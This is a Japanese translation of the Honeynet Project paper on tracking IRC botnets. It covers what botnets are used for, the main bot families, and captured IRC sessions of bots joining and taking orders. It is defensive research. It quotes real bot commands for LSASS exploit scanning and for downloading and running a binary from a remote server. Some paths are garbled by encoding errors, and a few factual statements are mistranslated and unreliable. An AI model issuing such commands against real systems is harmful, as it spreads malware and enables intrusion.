Bot

Know your Enemy:

Tracking Botnets

Using honeynets to learn more about Bots

The Honeynet Project & Research Alliance

http://www.honeynet.org

Last Modified: 13 March 2005

translated by HIDESHIMA Yusuke(hidesuke [at] vogue.is.uec.ac.jp)

Honeypotは攻撃者がどのようなツールを使っているのか、どのように攻撃を行うのか、なぜ攻撃を行うのかといったことを調査するツールとしてよく知られている技術である。この文書ではbotnetの脅威について述べる。botnetとは脆弱性のあるマシーンからなるネットワークで、攻撃者が遠隔から操作することができるものである。巨大なネットワーク(幾万ものシステムがリンクされている)であるため、コミュニティに深刻な問題を引き起こすことがある。honeynetsを利用することによって、botnetが動いているマシーンを観測することができる。他の技術ではbotnetを見つけることは難しい。記録されたログによって攻撃者の行動や、使用したツールを再現することができ、詳細に研究することができる。この文書でbotnetの攻撃技術やどのように個人が巻き込まれるかといったことについて詳細に述べる。

まず、botnetがどのように動くかといったことを例を交えて説明する。次に3つの一般的なbotについて簡潔に述べる。次に botnetを監視し、攻撃者が打ったコマンドを観測する技術について述べる。また、観測された攻撃者の行動について述べる。また、最近数ヶ月の間に観測した100以上のbotnetについての統計的な情報について述べる。botnet-trackingの章でbotnetの観測から学んだことやさらなる研究トピックについてまとめる。またmwcollect2というmalwareを自動で収集するツールについて述べる。

Introduction

近年、家庭用PCは攻撃者の格好の獲物となっている。これらの多くはMicrosoft Windowsが動いており、適切にパッチが当てられてなかったり、ファイラウォールによって守られてなかったりするため攻撃者に対してとても脆弱である。それに加えて、被害者が利用しているプログラムに対する直接攻撃や、間接攻撃は着実に増加している。間接攻撃の例としてはMicrosoftのInternet Explorerの脆弱性を利用した悪意あるHTMLや、Peer-to-Peerネットワークを利用したmalwareなどが挙げられる。特にブロードバンドネットワークに常時接続されているマシーンは攻撃者の餌食となりやすい。ブロードバンドの普及により攻撃の被害者となる可能性が増大している。この状況はクラッカーにとっては都合がいい。攻撃者は自動化技術を用いて特定のネットワークのスキャンを行い、脆弱性のあるコンピュータを探す。攻撃者はクラスBのネットワークか、それよりも小さなネットワークを攻撃の対象とすることが多い。攻撃者が脆弱性のあるマシーンに侵入するとIRCbot - zombieとかdroneとも呼ばれる - をそのマシーンにインストールする。Internet Relay Chat (IRC)はインターネットを通じてリアルタイムでコミュニケーションをとることができるツールである。IRCはチャンネルと呼ばれるグループ(1対多)での論議を想定して作られているが、1対1でのコミュニケーションも可能である。IRCに関するさらなる情報はWikipediaを参考にしてほしい。

私たちは多くの違ったバージョンのIRCベースのbot(以下単にbotと表記する)を発見した。それぞれ様々なコマンドが実装されているが、どれも共通点がある。botは特定のIRCサーバーのIRCチャンネルに参加し、さらなるコマンドを待つ。これによってアタッカーが遠隔からbotをコントロールすることができる。攻撃者はさらに様々な違ったbotを一緒に使用する。このように、一つのIRCチャンネルから多くの脆弱性を持つマシーン運用する構造はbotnetと呼ばれる。 IRCを用いたやり方ではbotと攻撃者のやりとりが膨れあがるため、この方法がもっとも優れているとは言えない。もっと簡単な方法が望ましい。しかしIRCは多くの利点を持っている。たとえばIRCサーバは無料で利用できセットアップが簡単である。そして多くの攻撃者はIRCを使った経験が長いといった利点が挙げられる。

この巨大なサイズ(botnetは1万、数千もの脆弱なマシーンからなる)によって、botnetは深刻な脅威となる。DDos攻撃は脅威の一つである。比較的小さなbotnetでも1000個のbotがあれば甚大な被害を与えることができる。1000個のbotが連結すれば(1000個の家庭用PCの平均アップ速度が128KBit/sとすると100MBit/s以上の帯域を占めることができる)おそらくほとんどの会社のシステムのインターネット接続の帯域よりも高い数値となる。更に、botが行うIPの配布のために、フィルタリングやメンテナンスが難しくなっている。更にbotは様々な団体にまたがっているので、インシデントの報告が難しいという問題がある。botnetは重要情報の盗難やIDの盗難にも使用される。何千もの家庭用PCからpassword.txtというファイルを探したり、トラフィックを盗聴したりすることもできる。

botをばらまく主な方法はインターネットの"background noise"、とくにTCPの445番ポートと135番ポートを用いた方法である。この場合の拡散(spreading)という単語はbotを使用した増殖方法を表す。これらのマルウェアはウィルスやワームと同じように巨大なネットワークをスキャンし脆弱なコンピュータを見つけて感染する。German HoneynetProject のトラフィックの解析によると、多くのトラフィックはMicrosoft Windowsが使用しているポートをターゲットとしていることがわかった。

  • 445/TCPポート(Microsoft-DS Service)はWindows 2000、XP、2003、その他のCIFSベースのコネクションでリソースを共有するのに使われている。このポートは、たとえばファイルの共有などに使われている。
  • 139/TCPポート(NetBIOS Session Service)はWindows 9x、ME、and NTでリソースの共有で使用されている。これもまたファイルの共有に使われている。
  • 137/UDPポート(NetBIOS Name Service)はWindowsマシーンが使用するポートで、ネットワーク上で他のコンピュータの情報を見つけるのに使用される。このポートによって得ることのできる情報は、システムの名前や共有されているファイルなどである。
  • port 135/TCPはMicrosoftがRemote Procedure Call(RPC)を実行するのに使用している。RPCはあるホストで動いているプログラムを違うホストでプログラムなしでの実行を許可するためのプロトコルである。

これら4つのポートを使用するトラフィックが観測されたトラフィック全体の80%以上を占めていた。 NmapXprobe2p0fなどのツールを用いた解析の結果、Windows XPや2000が動いているマシーンが最も影響を受けているということがわかった。上に挙げた4つのポートを用いているのは、明らかに、Windows XP(だいたいのマシーンがサービスパック1が動いている)が最も多く、次にWindows 2000 である。それから大きく離れてWindows 2003、Windows 95/98と続いている。

しかし、どれが本当に悪意のあるパケットなのだろうか?誰が、そしてどれが信頼できるものなのだろうか?何か防ぐ手段はあるのだろうか?この文書ではこのトラフィックの背景について、さらに踏み込んだ話題について言及する。攻撃者がどのようにIRC botをコントロールし、脆弱なマシーンによるネットワーク(botnet)を構築するのか、さらにそれらが効果的に動作するためにはどのようにするのかといったことについて説明する。私たちは鍵となる情報を学ぶ目的でGenII-Honeynetsに少しだけ改良(例えば、botnetサーバやIRCチャンネルの名前とパスワード)を加えて運用した。これらの情報によって、私たちがbotnetに接続し攻撃者が打つコマンドを監視することを可能にする。同時に攻撃者のコミュニケーションを監視することができ、彼らの動機や社会的な行動について学ぶことができる。更に、数ヶ月に渡る百以上のbotnetの監視から学んだ統計的な情報について説明する。私たちが観測した攻撃者の具体的な行動例をいくつか説明する。

この研究で使用したHoneynetは3つだけである。一つはドイツのISPであるT-Onlineのダイアルインネットワーク、もう一つはドイツのISPであるNetCologneのダイアルインネットワーク、そしてもう一つのマシーンは RWTH Aachen Universityに設置した。大学に設置したホストはパッチを当てていないWIndows 2000でHoneyWallの後ろに設置した。ダイアルインのホストは最近開発された mwcollectd2というマルウェアをキャプチャするためのソフトウェアを動かした。私たちはbotnetの監視にはdroneというIRCクライアントを使用した。両方とも後に詳しく説明する。

ほとんどすべてのbotは速く拡散するために小さなエクスプロイットの集合となっている。botはコンスタントにより多くのマシーンを脆弱にしようと試みるため、ネットワーク上で特徴的なトラフィックを作る。通常botはよく知られた脆弱性を突こうとする。botnetは特定の脆弱なポートを使用するのでリソース共有をする上記のポートを使用していた。これらのポートの例は以下の通りである。

これらの脆弱性についてはMicrosoftのSecurity bulletinからしることができる。サンプル:

Uses of botnets

"botnetはWindowsという箱が強制参加させられる軍事行動のようなものだ" - Stromberg

botnetはただのツールにすぎなくて、botnetを使う人の数だけ様々な動機がある。もっとも多い使われ方は犯罪を目的とした動機からの使用(例:金銭目的)か、もしくは破壊活動かである。私たちが収集したデータによると、botnetは以下の例のような使われかたをするようである。さらに、botnetはツールにすぎないので、下に挙げた以外の使い方もあり得る。

    1. Distributed Denial-of-Service Attacks(DDoS攻撃)
    2. botnetはよくDDoS攻撃に使用される。DDoS攻撃はコンピュータシステムやネットワークに対する攻撃で、利用者へのサービスを行えなくしたり、被害者の帯域を制限してネットワークにつながりにくくしたり、被害者のコンピュータシステムをダウンさせたりする。それに加えて、DDoS攻撃が多くのpacket per secound(pps)を起こした場合、リソースへのパスが尽きてしまう。私たちがこれまでに解析してきたbotは他のホストに対してDDoS攻撃をする方法をいくつか持っている。もっとも一般的な物はTCP SYNとUDPのあふれ攻撃をするようにプログラムされている。スクリプトキディーはDDoSをすべての社会問題に対するソリューションだと考えているらしい。
      1. さらなる研究から、botnetは競合他社に対してコマーシャルDDoS攻撃を行うものもあることがわかった。Operation CyberslamはJay R. Echouafni と Joshua Schichtel (別名EMP)の話を文章化したものである。Echouafni は2004年8月25日に共同謀議および保護されたコンピュータへの破壊行為の罪で起訴された。彼はbotnetを使ってバルクメールを送ったり、スパムのブラックリストサーバーへのDDoS攻撃を行っていたEMPと共に密接に動いていた。加えて、かれらはSpeedera - グローバルオンデマンドコンピューティングプラットフォーム - のwebサイトをDDoS攻撃によってダウンさせた。
      2. DDos攻撃はwebサーバーに限った攻撃ではないことを覚えていて欲しい。インターネットで利用可能なサービスであればどれでもDDoS攻撃の餌食になる可能性がある。より高レベルのプロトコルでも特定の攻撃手法、例えば掲示板の検索要求を枯渇させたり、recursive HTTP-flood等を用いると効果的にDDoS攻撃を行うことができる。recursive HTTP-floodとはbotに最初のHTTPのリンクを与え、botに与えたリンク先にあるwebサイトを再起的に呼び出させる方法である。これはスパイダーリングとも呼ばれる。
    3. スパム送信
    4. いくつかのbotは脆弱性のあるマシーンのSOCKS v4/v5プロキシ - TCP/IPベースのネットワークアプリケーションで使われる一般的なプロキシのプロトコル(RFC 1928) -を開く可能性がある。SOCKSプロキシを使えるようにされたら、このマシーンはスパム送信のような無法なことに使用される。botnetと何千ものbotの力を使うと攻撃者は大量のバルクメール(スパム)を送信することができる。いくつかのbotはe-mailアドレスを収集する特別な機能を実装されている。あなたが受け取ったスパムは大体の場合、家に鎮座しているおばあちゃんの古いWindowsマシーンから送られてきている。加えて、当然これらのパソコンはフィッシング詐欺メールの発信にも使われている。
    5. トラフィック盗聴
    6. botは脆弱なマシーンから流れる暗号化されていないテキストデータを見る目的で、トラフィックの盗聴に使われる場合もある。盗聴はユーザ名やパスワードといった情報を取り出すのに使われる。しかし、盗聴したデータは興味深い他の情報を含んでいる。もしもマシーンに一つ以上の脆弱性があり、一つ以上のbotnetに感染していたら、パケット盗聴によって他のbotnetに関する情報を得ることができる。つまり、これによって他のbotnetを”盗む”ことが可能である。
    7. キーロギング
    8. もしも脆弱性のあるマシーンが暗号化された通信(例:HTTPS, POP3S)をつかっていたら被害者のパソコンのパケットを盗聴しているだけでは通信を複合化できないので無意味である。しかし、多くのbotはこの問題を解決する手段を持っている。キーロガーがあれば攻撃者は重要な情報を取得するのがとても簡単になる。フィルタリングの方法によっては機密情報を更に簡単に得ることができる。このようなキーロガーが何千台もの脆弱なパソコンで動いていることを想像してみてほしい。ものすごく簡単に他人のアカウントを取得することができるだろう。
    9. 新種のマルウェアをばらまく
    10. 多くの場合、botnetは新しいbotをばらまくのに利用される。これはすごく簡単で、すべてのbotはHTTPかFTPを経由してファイルをダウンロードし実行するように作られている。だからe-mailのウィルスをばらまくのにbotnetを使うのはとてもいいアイディアだ。10.000ホストのbotnetがメールウィルス一斉にをばらまくと、そのメールウィルスは世界中にものすごいスピードで広がっていき、被害も大きくなる。Wittyワームという Internet Security Systems (ISS)が開発したICQのプロトコルを攻撃するワームは、IISのサービスが動いていないホストも攻撃していたのでbotnetから広まったのではないかと言われている。
    11. Installing Advertisement Addons and Browser Helper Objects (BHOs)
    12. botnetは経済的な利益を生むのに使われることもある。これは広告をのせた偽のwebサイトを構築する。このwebサイトの管理人はホスティング会社にリンクのクリック数に応じてお金が出るように交渉する。botnetを使うと”自動的に”クリックを行うことができる。数千ものbotがポップアップ広告をクリックするわけである。この方法は更なる改良の余地がある。もしもbotが脆弱なマシーンのスタートページをハイジャックできたら、被害者はブラウザを開くたびにクリックを実行することとなる。
    13. Google AdSense の悪用
    14. 同様の悪用はGoogle AdSenseでも可能である。AdSenseはGoogleの広告を自分の会社のwebサイトに載せて金を稼ぐ方法である。会社はこの広告のクリック数(例えば一月に一万クリックと言ったように)に応じた金額を稼ぐことができる。攻撃者はこれを悪用して、botnetを使ってクリック数のカウンターを自動的にどんどん増やしていくことができる。このようなbotnetの使い方は比較的一般的ではないが、アイディアとしては悪くない。
    15. IRCチャットのネットワークに対する攻撃
    16. botnetはIRCチャットのネットワークに対して攻撃をするのにも用いられる。攻撃者の間ではやりの攻撃は”クローン攻撃”と呼ばれている。この種類の攻撃は、各botに攻撃対象のIRCネットワークに大量のクローンとして接続するように要求する。被害者は何千ものbotによる接続要求により溢れがおこってしまう。この場合被害者のIRCネットワークはダウンさせられてしまう。丁度DDoS攻撃に似ている。
    17. オンライン投票/ゲームの操作
    18. オンライン投票/ゲームはさらなる注意を必要とするもので、botnetを使って比較的簡単に操作することができる。各botは異なったIPアドレスを持つため本物の人間として信頼されてしまう。オンラインゲームは似たような方法で操作できる。現在botがこのような方法を使っていることがわかっており、更に注意を払わなくてはいけなくなることは明らかである。
    19. 大量の個人情報盗難
    20. おおよその場合、上記のような様々な機能の結合はインターネット上の犯罪として急速に広がりつつある個人情報な大量盗難につながる。偽のメール("フィッシングメール")で合法の物を装う物(偽のメル友や銀行からのメール)は被害者にオンラインで個人情報を差し出すように要求する。これらの偽メールはbotがスパムを送る要領で作られる。これらのbotはEbayやPayPalもしくは銀行など複数のwebサイトのふりをして個人情報を獲得する。一つのサイトを閉じると同時に次のサイトがポップアップされる。加えてキーロギングとトラフィックの盗聴もまた個人情報の盗難につながる。

これらは攻撃者がbotnetを使って甚大な被害をもたらす破壊活動を起こすことができる例である。これらの攻撃の多く - 特にDDoS攻撃 - は他のシステムに対して深刻な脅威であり防止することが難しい。更に、私たちが見つけていない他の使い方がまだまだあるはずである。結論として、私たちはこの脅威について更に知る必要がある。これらの脅威に立ち向かう為に、攻撃者が普段はどのような行動をし、どのように技術開発を行っているのかということを知る必要がある。Honeynetは次の3つの領域すべてで私たちの助けとなる。

  1. Honeynetによって鍵となる情報(例:IPアドレス、botのニックネーム)を知ることができる。これによってbotnetを監視することが可能となる。私たちはbotのバイナリを集めることができる。そしてHoneywallを使って半自動化したやりかたで重要な情報を得ることができる。
  2. 私たちは攻撃者が打つ代表的なコマンドをモニターすることができ、そして希に攻撃者同士のコミュニケーションを捕らえることができる。これによって攻撃者の動機や戦術について知ることができる。
  3. botnetに関する情報を自動で集める方法とbotnetの動きを効果的に捕らえるメカニズムはbotnetと戦う上で役に立つ。

次のセクションでいくつかの有名なbotnetの紹介と解析を行ったあと、botnetを追跡する技術について説明する。

Different Types of Bots

私たちが研究を行っている間様々なタイプのbotを発見した。この章では広く広まっていてよく知られているbotについて説明する。マルウェアのそれぞれの基本的なコンセプトについて説明し、特徴について更に詳しく説明を行う。加えてbotのソースコードの例をいくつか示し、それらのコマンドセットのリストの一部についても示す。

    • Agobot/Phatbot/Forbot/XtremBot
    • これはたぶん最も知られているbotだろう。現在、AVベンダーのSophosは500種類を超えるAgobot(Sophos virus analyses)を見つけており、その数は今もなお増え続けている。bot自体はC++で書かれておりクロスプラットフォームで動作し、ソースコードはGPLで配布されている。 Agobotは2004年にコンピュータ犯罪で逮捕されたドイツの青年Ago、別名Wonkによって作られた。Agobotの入手可能な最新のバージョンはtidy C++で書かれており、高度に抽象化されたデザインをしている。botの構造は高度にモジュール化してあり、簡単にコマンドや他の脆弱性スキャンを行う機能を付け加えることができる。単にCCommandHandler もしくは CScannerクラスを付け加え、好きな改造を施す。Agobotは libpcap(パケット盗聴のライブラリ)とPerl Compatible Regular Expressions (PCRE)を用いてトラフィックのソートと盗聴を行っている。AgobotはNTFS Alternate Data Stream(ADS)を使うことができ、さらに自分が存在しないかのようにファイルやプロセスを隠すといったルートキットのような機能も備えている。 更に、デバッガ(例:SoftICE、 OllyDbg)とヴァーチャルマシーン(例:VMWareVirtual PC)を検知する機能がついているため、このマルウェアのリヴァースエンジニアリングを行うことが難しくなってる。加えて、AgobotはIRC以外のプロトコルを利用することができる唯一のbotである。WASTE chat networkを利用することができる。さらに、Linux版は脆弱性のあるディストリビューションが動いているホストを検知する。
    • SDBot/RBot/UrBot/UrXBot/...
    • このマルウェアのグループは現在最もアクティブである。Sophosのリストでは"ウィルス警告 最新10件"のなかにこれらの亜種が7つ含まれている。SDBotはとてもお粗末なCで書かれており、これもまたGPLで配布されている。これはRBot、RxBot、UrBot、UrXBot、JrBot…… などの元となっており、恐らくSDBotから作られたbotはもっと多いだろう。このbotのソースコードはあまり上手に設計されておらず、上手に書かれてもいない。しかしながら攻撃者はこれが好きでよく使われている。SDBotはAgobotと似た特徴をもっているが、コマンドセットは少なく、実装は洗練されていない。
    • mIRC-based Bots - GT-Bots
    • GT-botsのようなmIRCベースのものもこの中に含めることにする。これはあまりにもいろいろなバージョンがありすぎてこれらの亜種の全体像を把握することが困難であるためである。mIRC自身はWIndows上でのきわめて一般的なIRCクライアントである。GTはGlobal Threadの略であり、かつmIRC-スクリプトbotすべての一般的な名前として使われている。これらのbotはmIRCチャットクライアントとスクリプトと必要なバイナリをいっぺんに送り出す。忘れてはいけないバイナリはHideWindowで、これは実行するとmIRCが利用者から見えなくなる。ほかのバイナリは主にDynamic Link Libraries(DLL)でmIRCにリンクされており、いくつかのmIRCスクリプトを使用可能にする。mIRC-スクリプト(多くの場合.mrcがくっつく)はbotを制御するのに使われる。これらはDLLのスキャナにアクセスしさらなる拡散の手助けを行う。GT-Botは遠隔のコンピュータの弱点を突き自分自身を脆弱なホストにアップロードしながら拡散していく。(filesize > 1 MB).

これらの3種類のbotはほぼ毎日発見された。ほかのbotは滅多に見ることがなかった。これらの少数派のbotはちょっと”イカス”機能があったのでここで触れておくことにする:

    • DSNX Bots
    • Dataspy Network X (DSNX) bot はC++で書かれており、便利なplug-inインターフェースを備えている。攻撃者は簡単にスキャン機能や拡散機能を欠くことができbotの機能としてどんどん取り込むことができる。これもGPLで配布されている。このbotは不利な点が一つある。それはデフォルトでは拡散機能がついていないことである。しかしプラグインによってこの欠点は克服することができる。それだけでなく、plug-inはDDoS攻撃やポートスキャン、HTTPサーバーの隠蔽などのサービスをサポートしている。
    • Q8 Bots
    • Q8botはとても小さなbotでたった926行のCのコードからなる。そしてこれは一つだけ特筆すべき点がある。それはこのbotがUnix/Linuxむけに書かれていることである。このbotはbotの一般的な機能をすべて実装している。HTTP経由の動的アップデート、様々なDDoS攻撃、任意のコマンドの実行等々である。私たちが採取したバージョンでは拡散機能が見あたらなかった。しかし、おそらく他のバージョンでは拡散機能が実装されていると思われる。
    • kaiten
    • このbotも拡散機能が欠落していおり、これもまたUnix/Linux向けに書かれている。kaitenを用いるとユーザ認証が弱ければすぐにコンピュータを占拠することができる。bot自身はたった一つのファイルから成る。したがって、wgetを用いてとても簡単にソースコードをとってきてコンパイルすることができる。Kaitenは簡単なリモートシェルを提供しているためIRC経由で特権ユーザでアクセスするためのさらなる脆弱性調査を行うことに使われる。
    • Perl-based bots
    • Perlを用いたきわめてシンプルなbotもたくさんの種類がある。これらのbotは非常に小さく、多くの場合ほんの数百行で書かれている。これらは基本的なコマンド(大体の場合DDoS攻撃)だけを実装していて、Unixベースのシステムで動く。

What Bots Do and How They Work

前章で様々なタイプのbotの紹介を行ったので、本章ではbotは普段何をするのか、どのように動くのかといった詳しい内容について説明する。本章ではどのようにbotが拡散するか、またどのようにbotをコントロールするかについて詳細に述べる。

侵入に成功したら、botはTrivial File Transfer Protocol (TFTP), File Transfer Protocol (FTP),HyperText Transfer Protocol (HTTP), もしくはCSend (IRCの追加機能で他のユーザにファイルを転送する機能。DCCのようなもの)をつかって自分自身を脆弱なホストへ転送する。バイナリが実行されるとハードコードされたマスターIRCサーバーへのアクセスを試みる。大体の場合(例えばwww.dyndns.org)動的なDNSネームが提供されるのでbotは簡単に移動することができる。多くの場合このようなことはあり得ないが、もしマスターサーバがローカルホスト、もしくはプライベートサブネットにある場合、botは自らを消去することがある。USA|743634 や[UrX]-98439854といったニックネームを使ってbotはマスターのチャンネルに参加する。中には見知らぬ人を締め出すためにパスワードを用いたりする。感染に成功した場合次のようなメッセージがよく現れる:

<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname... <- :irc1.XXXXXX.XXX NOTICE AUTH :*** Found your hostname -> PASS secretserverpass -> NICK [urX]-700159 -> USER mltfvt 0 0 :mltfvt <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having problems connecting due to ping timeouts, please type /quote pong ED322722 or /raw pong ED322722 now. <- PING :ED322722 -> PONG :ED322722 <- :irc1.XXXXXX.XXX 001 [urX]-700159 :Welcome to the irc1.XXXXXX.XXX IRC Network [urX]-700159!mltfvt@nicetry <- :irc1.XXXXXX.XXX 002 [urX]-700159 :Your host is irc1.XXXXXX.XXX, running version Unreal3.2-beta19 <- :irc1.XXXXXX.XXX 003 [urX]-700159 :This server was created Sun Feb 8 18:58:31 2004 <- :irc1.XXXXXX.XXX 004 [urX]-700159 irc1.XXXXXX.XXX Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN

その後、サーバーはbotをクライアントとして受け入れ、RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD or ERR_NOMOTD というようなメッセージを送る。RPL_で始まるメッセージはクライアントへの情報である。たとえばRPL_ISUPPORTはサーバーがクライアントを認識したという情報、RPL_MOTDはその日のメッセージ(MOTD)を示している。これとは対照的に、ERR_NOMOTDはエラーメッセージで、MOTDが無い場合のメッセージである。以下の図ではこれらの応答が色でハイライトされている:

<- :irc1.XXXXXX.XXX 005 [urX]-700159 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server <- :irc1.XXXXXX.XXX 005 [urX]-700159 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=irc1.XXXXXX.XXX CASEMAPPING=ascii :are supported by this server <- :irc1.XXXXXX.XXX 375 [urX]-700159 :- irc1.XXXXXX.XXX Message of the Day - <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- 20/12/2004 7:45 <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . + <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ___ . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . _.--"~~ __"-. <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ,-" .-~ ~"-蛔dエ . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . .^ / ( ) . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + {_.---._ / ~ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - / . Y . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - / 蛔dエ_j + <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . Y ( --l__ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - | "-. . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - | (___ . | .)~-.__/ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - l _) <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . 蛔dエ "l <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - + 蛔dエ - 蛔dエ ^. <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . ^. "-. -Row . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - "-._ ~-.___, <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . "--.._____.^ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - . . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - ->Moon<- <- :irc1.XXXXXX.XXX 376 [urX]-700159 :End of /MOTD command. <- :[urX]-700159 MODE [urX]-700159 :+i

On RPL_ENDOFMOTD もしくは ERR_NOMOTDはbotが与えられたパスワードでマスターのチャンネルに参加しようとしていることを表す:

-> JOIN #foobar channelpassword -> MODE [urX]-700159 +x

botはtopic of the channelを受け取りコマンドを解釈する:

<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s <- :[urX]-700159!mltfvt@nicetry JOIN :#foobar <- :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword

多くのbotnetは以下のようなtopicコマンドを使う。

  1. ".advscan lsass 200 5 0 -r -s"
  2. ".http.update http://<server>/~mugenxu/rBot.exe c:蛔dエmsy32awds.exe 1"

最初のトピックはbotがLSASS 脆弱性を使ってさらに拡散しようとしていることを示している。 200のマルチスレッドを5秒間隔で無制限時間(パラメータ0)スキャンを行う。スキャンはランダムで(パラメータ -r)サイレント(パラメータ -s)で行われるのでステータスレポートであまりにも多いトラフィックは表示しないようにしてある。二つめの例はこれとは対照的で、webからバイナリをダウンロードして実行するようにbotに命令している(パラメータ 1)。もしもトピックにbotに対する命令が含まれてなかったらbotはコマンドがくるまで待つ。これは多くのbotの基本的な動きである。botはマスターからの命令が無い限り自分たちで拡散しようとはしない。

侵入に成功したらbotはオーナーに何をすべきかメッセージを送る。

-> PRIVMSG #foobar :[lsass]: Exploiting IP: 200.124.175.XXX -> PRIVMSG #foobar :[TFTP]: File transfer started to IP: 200.124.175.XXX (C:蛔dエWINDOWS蛔dエSystem32蛔dエNAV.exe).

するとIRCサーバーは(IRCデーモン(IRCd)とも呼ばれる)はチャンネルのユーザリストを提供する。しかし多くのbotnetのオーナーはIRCdを修正しただ単にチャンネルのオペレーターにメッセージを送りチャンネルの中にいるbotの数を偽装する。

<- :irc1.XXXXXX.XXX 353 [urX]-700159 @ #foobar :@JAH <- :irc1.XXXXXX.XXX 366 [urX]-700159 #foobar :End of /NAMES list. <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :BOTMOTD File not found <- :[urX]-700159 MODE [urX]-700159 :+x

botnetの制御者はbotを使用するために認証を行わなくてはいけない。この認証はcommand prefix と"auth" commandを使用することによっておこなう。command prefixを使ってマスターがbotにログインしたあと、マスターは認証をしなければいけない。例えば:

.login leet0 .la plmp -s

これらはそれぞれ違うbotで、botを使うために打たれたコマンドである。ここで"-s"は前の例で出てきた奴で、マスターが認証を行っている間botは沈黙をしているという意味を表している。その他に次のような返答を返す:

[MAIN]: Password accepted. [r[X]-Sh0[x]]: .:( Password Accettata ):. .

もしも1万台ものbotを持つネットワークをもっていたら、このトラフィックはすごく大きくなる。一度攻撃者が認証されたらbotを使って好きなことができる。脆弱なマシーンから重要な情報を探したり、これらの重要な情報をDCCをもちいて他のマシーンに転送したりすることもできるし、DDoS攻撃をおこなったり、キーログを取りPayPaleBayのアカウント情報を取得することもできる。これらは考えられる攻撃のほんの一部であり、他の選択肢は前章ですでに述べた。すべてのbotが接続されるIRCサーバはほとんどの場合脆弱性の固まりとなる。これは恐らく攻撃者は通常のチャットネットワークのようにオペレーターの権利を受け取りたくないのであろう。だから、より柔軟に動くことができる自分自身でセットアップしたIRCサーバーを使用するのだろう。さらに、私たちは興味深い発見をした。それはbotnet初心者だけが普通のIRCdを使うということだ。たしかにrbot-<6-digits> のように名付けられた1200ものクライアントがスキャンの結果をチャンネルで報告してくるのが鬱陶しいのは極めて明らかである。二種類のIRCサーバが一般的にbotnetを運用するのに使用されている。それはUnreal IRCdとConferenceRoomである。

  • Unreal IRCd (http://www.unrealircd.com/) はクロスプラットフォームで動作し、そのためWindowsマシーンとLinuxマシーンをリンクしやすい。IRCサーバプログラムは完全に解析され、無駄な機能をそぎ落としbotnetのオーナーの意に沿うように改造されている。
    • 注目すべき改造は"JOIN"、"PART"、"QUIT"などのメッセージを出さないようにして無駄なトラフィックをカットするようにしている。さらに"LUSERS"(接続しているクライアントの数に関する情報)と"RPL_ISUPPORT"を消すことによってそのbotのサイズや種類が特定されないようにしている。私たちは最近、極度に改造されたUnreal IRCdのwin32用のバイナリのコピーを手に入れたが、これは不要な機能がそぎ落とされ最適化されていた。ファイルネームをみるとこのIRCdは8万台のbotまで対応できるように作られていると思われる:
      • cac8629c7139b484e4a19a53caaa6be0 UNREAL.3.2-m0dded-LyR.rar 9dbaf01b5305f08bd8c22c67e4b4f729 Unreal-80k[MAX]users.rar de4c1fbc4975b61ebeb0db78d1fba84f unreal-modded-80k-users-1.rar
    • 私たちは8万台ものbotnetを運用していないし、私たちのグループに8万人もの研究者はいないのでこの情報の検証をすることはできない。しかし恐らく"プロ"の攻撃ではこのような巨大な規模のbotnetがサイバー犯罪で使われているだろう。このような種類のネットワークだととても大きな帯域を占められサーバはダメージを受け、そして情報を盗まれるであろう。
  • ConferenceRoom (http://www.webmaster.com/)は商用のIRCdなのだが、botnetを使っている人はこれをクラックしたものを使っている。ConferenceRoomはニックネームとチャンネルの認証をつかった数千もの同時接続が可能であり、友達リストやサーバ同士のリンクをはったりすることができる。
  • 驚くべきことに、私たちはすでにMicrosoftのチャットサーバーをbotnetのホストとして使用しているものを発見した。さらにそれは安定して動作しているらしい。

botnetを使う人は大体同じ目的(DDoS攻撃や他の犯罪)なのでそれぞれのbotにはだいたい同じようなコマンドセットが実装されている。ここでAgobotはとても使いやすい。なぜかと言うと、ただソースコードをRegisterCommandでgrepするだけですべてのコマンドリストとその特徴がわかる。綺麗にデザインされてないのでSDBotのグループの解析は少々難しい。コマンドセットは様々な人によって変えられているのでどんなコマンドが実装されているのか解析することは不可能に近い。

もしも他のbotのコマンドについてもっとよく知りたいのであれば、より詳しいコマンドの解析がbotnet commandsにある。さらにbotnetのソースコードについて知りたいのであればbotnet sourceに載せてあるので参考にしてほしい。

How to Track Botnets

